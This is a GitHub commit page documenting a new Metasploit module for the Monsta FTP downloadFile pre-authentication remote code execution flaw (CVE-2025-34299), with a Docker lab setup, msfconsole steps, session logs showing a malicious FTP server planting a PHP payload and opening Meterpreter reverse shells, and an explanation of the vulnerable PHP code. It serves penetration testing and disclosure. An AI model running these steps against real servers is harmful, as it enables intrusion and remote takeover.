Skip to content

Commit b6330ac

Browse files
authored
Land #20718, adds module for Monsta FTP RCE (CVE-2025-34299)
Add Monsta FTP downloadFile RCE (CVE-2025-34299)
2 parents 9953375 + 819b259 commit b6330ac

File tree

2 files changed

+474
-0
lines changed

2 files changed

+474
-0
lines changed
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
## Vulnerable Application
2+
3+
This module exploits a pre-authenticated remote code execution vulnerability in Monsta FTP
4+
versions < 2.11.3. The vulnerability exists in the `downloadFile` action which allows an
5+
attacker to connect to a malicious FTP or SFTP server and download arbitrary files to
6+
arbitrary locations on the Monsta FTP server.
7+
8+
### Setting up the lab environment
9+
10+
The easiest way to test this module is using Docker. The lab environment automatically
11+
downloads and installs Monsta FTP 2.10.4 from archive.org during the build process.
12+
13+
**Using Docker Compose:**
14+
15+
Create a `docker-compose.yml` file with the following content:
16+
17+
```yaml
18+
version: '3.8'
19+
20+
services:
21+
monsta-ftp:
22+
build:
23+
context: .
24+
dockerfile: Dockerfile
25+
container_name: monsta-ftp-test
26+
ports:
27+
- "8081:80"
28+
restart: unless-stopped
29+
```
30+
31+
Create a `Dockerfile` in the same directory:
32+
33+
```dockerfile
34+
FROM php:7.4-apache
35+
36+
# Install dependencies for FTP extension (OpenSSL) and tools for download/extraction
37+
RUN apt-get update && apt-get install -y \
38+
libssl-dev \
39+
wget \
40+
unzip \
41+
&& rm -rf /var/lib/apt/lists/*
42+
43+
# Install FTP extension
44+
RUN docker-php-ext-install ftp
45+
46+
# Enable mod_rewrite
47+
RUN a2enmod rewrite
48+
49+
# Download and extract Monsta FTP 2.10.4
50+
RUN wget -q https://web.archive.org/web/20240101174551/https://www.monstaftp.com/downloads/monsta_ftp_2.10.4_install.zip -O /tmp/monsta_ftp.zip && \
51+
unzip -q /tmp/monsta_ftp.zip -d /tmp/ && \
52+
mv /tmp/mftp /var/www/html/mftp && \
53+
rm -f /tmp/monsta_ftp.zip
54+
55+
# Configure permissions
56+
RUN chown -R www-data:www-data /var/www/html/mftp && \
57+
chmod -R 755 /var/www/html/mftp
58+
59+
EXPOSE 80
60+
61+
CMD ["apache2-foreground"]
62+
```
63+
64+
**Build and start the lab:**
65+
66+
```bash
67+
docker-compose up -d
68+
```
69+
70+
The lab will be available at `http://127.0.0.1:8081/mftp/`
71+
72+
**Verify the installation:**
73+
74+
```bash
75+
curl http://127.0.0.1:8081/mftp/
76+
```
77+
78+
You should see the Monsta FTP login page.
79+
80+
**Container management:**
81+
82+
- Stop the container: `docker stop monsta-ftp-test`
83+
- Start the container: `docker start monsta-ftp-test`
84+
- View logs: `docker logs monsta-ftp-test`
85+
- Stop and remove the container: `docker rm -f monsta-ftp-test`
86+
87+
### Manual installation
88+
89+
If you prefer to install Monsta FTP manually:
90+
91+
1. Download Monsta FTP 2.10.4 from
92+
[archive.org](https://web.archive.org/web/20240101174551/https://www.monstaftp.com/downloads/monsta_ftp_2.10.4_install.zip)
93+
2. Extract the archive to your web server's document root (e.g., `/var/www/html/mftp/`)
94+
3. Ensure PHP 7.4+ is installed with the FTP extension enabled
95+
4. Configure appropriate file permissions
96+
97+
## Verification Steps
98+
99+
1. Start the vulnerable Monsta FTP instance (see lab setup above)
100+
2. Start msfconsole
101+
3. Do: `use exploit/multi/http/monsta_ftp_downloadfile_rce`
102+
4. Do: `set TARGETURI /mftp/`
103+
5. Do: `set SRVPORT 2121` (if you need a non-privileged port)
104+
6. Do: `run`
105+
7. You should get a Meterpreter session
106+
107+
## Options
108+
109+
This module has no specific options beyond the standard framework options.
110+
111+
## Scenarios
112+
113+
### PHP In-Memory Target (Default)
114+
115+
This target uses PHP payloads that execute in memory. Tested with `php/meterpreter/reverse_tcp`.
116+
117+
```
118+
msf6 > use exploit/multi/http/monsta_ftp_downloadfile_rce
119+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGETURI /mftp/
120+
TARGETURI => /mftp/
121+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set SRVPORT 2121
122+
SRVPORT => 2121
123+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > run
124+
125+
[*] Started reverse TCP handler on 192.168.1.44:4444
126+
[*] Running automatic check ("set AutoCheck false" to disable)
127+
[+] The target appears to be vulnerable. Version 2.10.4 is vulnerable
128+
[*] Starting FTP service...
129+
[*] Started service listener on 0.0.0.0:2121
130+
[*] FTP server started on 0.0.0.0:2121
131+
[*] Triggering HTTP request...
132+
[*] File downloaded successfully: yinlIo39X3.php
133+
[*] Triggering payload at /mftp/application/api/yinlIo39X3.php...
134+
[*] Sending stage (41224 bytes) to 172.19.0.2
135+
[+] Deleted yinlIo39X3.php
136+
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 172.19.0.2:44678) at 2025-11-21 20:32:21 +0100
137+
138+
meterpreter >
139+
```
140+
141+
### Unix/Linux Command Shell Target
142+
143+
This target uses command-based payloads for Unix/Linux systems. Tested with `cmd/linux/http/x64/meterpreter/reverse_tcp`.
144+
145+
```
146+
msf6 > use exploit/multi/http/monsta_ftp_downloadfile_rce
147+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGET 1
148+
TARGET => 1
149+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGETURI /mftp/
150+
TARGETURI => /mftp/
151+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set SRVPORT 2122
152+
SRVPORT => 2122
153+
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > run
154+
155+
[*] Fetch handler listening on 192.168.1.44:8080
156+
[*] HTTP server started
157+
[*] Adding resource /6eOxm60cJX6RvgKA0PEHWQ
158+
[*] Started reverse TCP handler on 192.168.1.44:4445
159+
[*] Starting FTP service...
160+
[*] Started service listener on 0.0.0.0:2122
161+
[*] FTP server started on 0.0.0.0:2122
162+
[*] Triggering HTTP request...
163+
[*] File downloaded successfully: Lrd998qb.php
164+
[*] Triggering payload at /mftp/application/api/Lrd998qb.php...
165+
[*] Client 172.19.0.2 requested /6eOxm60cJX6RvgKA0PEHWQ
166+
[*] Sending payload to 172.19.0.2 (curl/7.74.0)
167+
[*] Transmitting intermediate stager...(126 bytes)
168+
[*] Sending stage (3090404 bytes) to 172.19.0.2
169+
[+] Deleted Lrd998qb.php
170+
[*] Meterpreter session 1 opened (192.168.1.44:4445 -> 172.19.0.2:35862) at 2025-11-21 20:32:48 +0100
171+
172+
meterpreter >
173+
```
174+
175+
## Technical Details
176+
177+
### How it works
178+
179+
1. The module starts a malicious FTP server with random credentials
180+
2. It sends an HTTP POST request to the vulnerable `downloadFile` endpoint with FTP connection details
181+
3. Monsta FTP connects to the malicious FTP server and downloads the payload
182+
4. The payload is written to an arbitrary location (controlled by the `localPath` parameter)
183+
5. The module triggers the payload execution via HTTP GET request
184+
6. The payload automatically deletes itself after execution (via FileDropper mixin)
185+
186+
### Why FTP Works
187+
188+
While the [watchTowr Labs research](https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/)
189+
demonstrates the vulnerability using SFTP, FTP works identically because both connection types
190+
use the same vulnerable pattern:
191+
192+
**SFTP Implementation** (`SFTPConnection.php`):
193+
```php
194+
protected function handleDownloadFile($transferOperation) {
195+
$remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath());
196+
if(@copy($remoteURL, $transferOperation->getLocalPath()))
197+
return true;
198+
// ...
199+
}
200+
```
201+
202+
**FTP Implementation** (`FTPConnection.php`):
203+
```php
204+
protected function handleDownloadFile($transferOperation) {
205+
return @ftp_get($this->connection,
206+
$transferOperation->getLocalPath(), // <-- User-controlled destination
207+
$transferOperation->getRemotePath(),
208+
$transferOperation->getTransferMode());
209+
}
210+
```
211+
212+
In both cases, `getLocalPath()` returns the user-controlled `localPath` parameter from the
213+
request context, allowing arbitrary file write to any location on the server's filesystem. The
214+
only difference is the PHP function used (`copy()` for SFTP vs `ftp_get()` for FTP), but both
215+
accept user-controlled destination paths without proper validation.
216+
217+
## References
218+
219+
- [CVE-2025-34299](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-34299)
220+
- [watchTowr Labs - Monsta FTP Remote Code Execution
221+
CVE-2025-34299](https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/)
222+

0 commit comments

Comments
 (0)